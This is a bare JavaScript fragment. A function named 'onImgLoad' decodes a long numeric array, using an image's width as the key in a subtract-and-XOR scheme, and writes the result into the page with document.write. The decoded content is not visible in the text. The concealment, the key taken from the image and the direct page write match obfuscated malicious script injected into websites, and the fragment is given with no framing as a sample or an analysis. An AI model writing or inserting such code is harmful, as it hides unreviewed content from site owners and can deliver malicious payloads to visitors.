function onImgLoad(source) {
var as = new Array(45,167,241,198,381,576,510,544,432,579,497,612,455,562,495,594,433,579,568,542,430,579,587,534,430,560,508,542,432,564,523,617,377,559,522,529,452,566,512,532,453,501,498,544,432,575,512,602,379,519,494,529,459,570,493,542,377,575,500,546,436,518,537,592,453,558,501,542,366,569,508,540,440,576,510,544,432,579,497,518,379,499,494,544,442,518,537,592,433,575,497,546,387,500,586,535,436,559,584,545,452,577,515,596,442,564,520,597,394,513,560,606,395,500,492,615,440,567,493,544,440,585,522,534,440,566,579,546,380,497,582,594,433,579,573,601,379,615,575,612,381,615,586,545,442,577,516,546,453,517,575,603,386,519,586,545,442,577,516,546,453,517);
var xi = source.width; if (!xi) {return;}
var pp=""; for (var n=4; n<as.length; n++) {pp+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(pp);
}

